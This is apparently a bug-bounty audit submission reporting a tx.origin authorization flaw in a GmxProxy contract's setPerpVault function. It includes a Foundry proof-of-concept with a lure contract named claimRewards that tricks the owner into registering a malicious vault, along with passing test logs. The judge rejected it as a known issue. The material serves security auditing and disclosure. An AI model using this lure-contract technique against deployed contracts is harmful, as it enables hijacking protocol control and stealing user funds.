DeFiFoundry
50,000 USDC
View results
Submission Details
Severity: low
Invalid

GmxProxy Allows Permanent Vault Hijacking via tx.origin Exploit

Brief

The GmxProxy contract's setPerpVault function misuses tx.origin for ownership validation, allowing an attacker to trick the owner into permanently registering a malicious vault address. This irreversible action hands control of the protocol's callback system to the attacker.

Details

The vulnerability comes from flawed authorization logic in the setPerpVault function of GmxProxy.sol. The function uses tx.origin instead of msg.sender to verify the caller’s identity, as shown in this snippet:

function setPerpVault(address _perpVault, address market) external {
require(tx.origin == owner(), "not owner"); // Flawed check
require(_perpVault != address(0), "zero address");
require(perpVault == address(0), "already set");
perpVault = _perpVault;
gExchangeRouter.setSavedCallbackContract(market, address(this));
}

Here, tx.origin identifies the original externally owned account that started the transaction, while msg.sender identifies the immediate caller. By relying on tx.origin, the function fails to ensure that the call originates directly from the owner’s EOA. An attacker can exploit this by deploying a malicious contract that calls setPerpVault when invoked by the owner. Since tx.origin remains the owner’s EOA, the check passes, even though msg.sender is the attacker’s contract.

The exploit goes: the attacker deploys a contract with a function that internally calls setPerpVault with a malicious vault address. The attacker then tricks the owner into calling this function (by social engineering, phishing, or whatever path the attacker finds more convenient). When the owner does so, the malicious contract executes setPerpVault, passing the require(tx.origin == owner()) check because tx.origin is the owner’s EOA. The condition perpVault == address(0) ensures the vault can only be set once, locking in the malicious address permanently.

Specific Impact

This vulnerability allows the attacker to permanently hijack the protocol’s callback system by registering a malicious vault, enabling them to manipulate all subsequent order executions and liquidations to steal user funds with no possibility of reversal.

Proof Of Concept

Here is a POC that proves it. Run it with forge test --match-test test_ExploitTxOriginVulnerability -vvv:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
import {Test, console} from "forge-std/Test.sol";
import {ArbitrumTest} from "./utils/ArbitrumTest.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {TransparentUpgradeableProxy} from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {ProxyAdmin} from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";
import {GmxProxy} from "../contracts/GmxProxy.sol";
import {IGmxProxy} from "../contracts/interfaces/IGmxProxy.sol";
import {IExchangeRouter} from "../contracts/interfaces/gmx/IExchangeRouter.sol";
import {Order} from "../contracts/libraries/Order.sol";
import {CreateOrderParams} from "../contracts/libraries/StructData.sol";
// Mock ExchangeRouter for testing
contract MockExchangeRouter is IExchangeRouter {
function setSavedCallbackContract(address market, address callbackContract) external payable {
// Do nothing, just allow the call to succeed
}
function createOrder(CreateOrderParams calldata params) external payable returns (bytes32) {
return bytes32(0);
}
function createOrderFUZZ(CreateOrderParams calldata params) external payable returns (bool, bytes32) {
return (true, bytes32(0));
}
function cancelOrder(bytes32 key) external payable {
// Do nothing
}
function claimCollateral(address[] memory markets, address[] memory tokens, uint256[] memory timeKeys, address receiver) external returns (uint256[] memory) {
return new uint256[](markets.length);
}
function claimFundingFees(address[] memory markets, address[] memory tokens, address receiver) external returns (uint256[] memory) {
return new uint256[](markets.length);
}
function sendWnt(address receiver, uint256 amount) external payable {
// Do nothing
}
function sendTokens(address token, address receiver, uint256 amount) external payable {
// Do nothing
}
}
// Malicious contract that will exploit the tx.origin vulnerability
contract MaliciousContract {
address public immutable gmxProxy;
address public immutable maliciousVault;
address public immutable market;
constructor(address _gmxProxy, address _maliciousVault, address _market) {
gmxProxy = _gmxProxy;
maliciousVault = _maliciousVault;
market = _market;
}
// Function with an innocent name to trick the owner
function claimRewards() external {
console.log("Inside MaliciousContract.claimRewards():");
console.log(" tx.origin:", tx.origin);
console.log(" msg.sender:", msg.sender);
console.log(" maliciousVault:", maliciousVault);
// This will succeed because tx.origin is the owner
IGmxProxy(gmxProxy).setPerpVault(maliciousVault, market);
console.log("Successfully set perpVault to malicious vault");
}
}
contract GmxProxyVulnerabilityTest is Test, ArbitrumTest {
GmxProxy public gmxProxy;
ProxyAdmin public proxyAdmin;
address public owner;
address public attacker;
address public maliciousVault;
address public market;
MockExchangeRouter public mockRouter;
event LogSetup(address owner, address attacker, address maliciousVault, address gmxProxy);
event LogAttackStep(string step, address actor, address target);
function setUp() public {
console.log("\n=== Test Setup ===");
// Setup owner and attacker addresses
owner = makeAddr("owner");
vm.deal(owner, 100 ether);
console.log("Owner address:", owner);
attacker = makeAddr("attacker");
vm.deal(attacker, 100 ether);
console.log("Attacker address:", attacker);
maliciousVault = makeAddr("maliciousVault");
console.log("Malicious vault address:", maliciousVault);
market = address(0x70d95587d40A2caf56bd97485aB3Eec10Bee6336);
console.log("Market address:", market);
mockRouter = new MockExchangeRouter();
console.log("Mock router deployed at:", address(mockRouter));
proxyAdmin = new ProxyAdmin();
console.log("ProxyAdmin deployed at:", address(proxyAdmin));
GmxProxy gmxProxyLogic = new GmxProxy();
console.log("GmxProxy logic deployed at:", address(gmxProxyLogic));
address payable proxyAddress = payable(
address(
new TransparentUpgradeableProxy(
address(gmxProxyLogic),
address(proxyAdmin),
""
)
)
);
gmxProxy = GmxProxy(proxyAddress);
console.log("GmxProxy proxy deployed at:", address(gmxProxy));
console.log("\nInitializing GmxProxy with owner:", owner);
vm.startPrank(owner);
gmxProxy.initialize(
address(0xe68CAAACdf6439628DFD2fe624847602991A31eB), // orderHandler
address(0xdAb9bA9e3a301CCb353f18B4C8542BA2149E4010), // liquidationHandler
address(0x9242FbED25700e82aE26ae319BCf68E9C508451c), // adlHandler
address(mockRouter), // Use our mock router
address(0x7452c558d45f8afC8c83dAe62C3f8A5BE19c71f6), // gmxRouter
address(0xFD70de6b91282D8017aA4E741e9Ae325CAb992d8), // dataStore
address(0x31eF83a530Fde1B38EE9A18093A333D8Bbbc40D5), // orderVault
address(0x0537C767cDAC0726c76Bb89e92904fe28fd02fE1), // gmxReader
address(0xe6fab3F0c7199b0d34d7FbE83394fc0e0D06e99d) // referralStorage
);
vm.stopPrank();
assertEq(gmxProxy.owner(), owner, "Owner not set correctly");
console.log("GmxProxy owner verified:", gmxProxy.owner());
vm.label(owner, "Owner");
vm.label(attacker, "Attacker");
vm.label(maliciousVault, "MaliciousVault");
vm.label(address(gmxProxy), "GmxProxy");
emit LogSetup(owner, attacker, maliciousVault, address(gmxProxy));
console.log("=== Setup Complete ===\n");
}
function test_ExploitTxOriginVulnerability() public {
console.log("\n=== Starting tx.origin Vulnerability Exploit Test ===");
// Deploy malicious contract as attacker
console.log("\nStep 1: Attacker deploys malicious contract");
console.log("Attacker address:", attacker);
vm.startPrank(attacker);
MaliciousContract maliciousContract = new MaliciousContract(
address(gmxProxy),
maliciousVault,
market
);
vm.stopPrank();
console.log("Malicious contract deployed at:", address(maliciousContract));
emit LogAttackStep("Deploy", attacker, address(maliciousContract));
// Verify initial state
console.log("\nStep 2: Verify initial state");
console.log("Initial perpVault value:", gmxProxy.perpVault());
assertEq(gmxProxy.perpVault(), address(0), "perpVault should be unset initially");
console.log("Initial state verified - perpVault is unset");
// Owner unknowingly interacts with malicious contract
console.log("\nStep 3: Owner interacts with malicious contract");
console.log("Owner address:", owner);
console.log("Current tx.origin:", tx.origin);
vm.startPrank(owner, owner); // Set both msg.sender and tx.origin to owner
console.log("Calling malicious contract's claimRewards()...");
maliciousContract.claimRewards();
vm.stopPrank();
emit LogAttackStep("Exploit", owner, address(maliciousContract));
// Verify the attack succeeded
console.log("\nStep 4: Verify attack success");
console.log("Final perpVault value:", gmxProxy.perpVault());
assertEq(gmxProxy.perpVault(), maliciousVault, "Attack failed - perpVault not set to malicious vault");
console.log("Attack successful - perpVault is now set to malicious vault");
console.log("\n=== Vulnerability Exploit Test Complete ===");
console.log("Summary:");
console.log("- Initial perpVault: address(0)");
console.log("- Final perpVault:", gmxProxy.perpVault());
console.log("- Malicious vault:", maliciousVault);
console.log("- Attack successful:", gmxProxy.perpVault() == maliciousVault);
}
}

And here are the LOGS:

Ran 1 test for test/GmxProxyVulnerability.t.sol:GmxProxyVulnerabilityTest
[PASS] test_ExploitTxOriginVulnerability() (gas: 470451)
Logs:
=== Test Setup ===
Owner address: 0x7c8999dC9a822c1f0Df42023113EDB4FDd543266
Attacker address: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
Malicious vault address: 0x0e1EB8f33bbAE96A76936307567f4cAd2003648a
Market address: 0x70d95587d40A2caf56bd97485aB3Eec10Bee6336
Mock router deployed at: 0x2e234DAe75C793f67A35089C9d99245E1C58470b
ProxyAdmin deployed at: 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
GmxProxy logic deployed at: 0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9
GmxProxy proxy deployed at: 0xc7183455a4C133Ae270771860664b6B7ec320bB1
Initializing GmxProxy with owner: 0x7c8999dC9a822c1f0Df42023113EDB4FDd543266
GmxProxy owner verified: 0x7c8999dC9a822c1f0Df42023113EDB4FDd543266
=== Setup Complete ===
=== Starting tx.origin Vulnerability Exploit Test ===
Step 1: Attacker deploys malicious contract
Attacker address: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
Malicious contract deployed at: 0x959951c51b3e4B4eaa55a13D1d761e14Ad0A1d6a
Step 2: Verify initial state
Initial perpVault value: 0x0000000000000000000000000000000000000000
Initial state verified - perpVault is unset
Step 3: Owner interacts with malicious contract
Owner address: 0x7c8999dC9a822c1f0Df42023113EDB4FDd543266
Current tx.origin: 0x1804c8AB1F12E6bbf3894d4083f33e07309d1f38
Calling malicious contract's claimRewards()...
Inside MaliciousContract.claimRewards():
tx.origin: 0x7c8999dC9a822c1f0Df42023113EDB4FDd543266
msg.sender: 0x7c8999dC9a822c1f0Df42023113EDB4FDd543266
maliciousVault: 0x0e1EB8f33bbAE96A76936307567f4cAd2003648a
Successfully set perpVault to malicious vault
Step 4: Verify attack success
Final perpVault value: 0x0e1EB8f33bbAE96A76936307567f4cAd2003648a
Attack successful - perpVault is now set to malicious vault
=== Vulnerability Exploit Test Complete ===
Summary:
- Initial perpVault: address(0)
- Final perpVault: 0x0e1EB8f33bbAE96A76936307567f4cAd2003648a
- Malicious vault: 0x0e1EB8f33bbAE96A76936307567f4cAd2003648a
- Attack successful: true
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.22ms (1.24ms CPU time)
Ran 1 test suite in 183.23ms (10.22ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Updates

Lead Judging Commences

n0kto Lead Judge 9 months ago
Submission Judgement Published
Invalidated
Reason: Known issue
Assigned finding tags:

invalid_tx-origin

Lightchaser: Medium-5

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!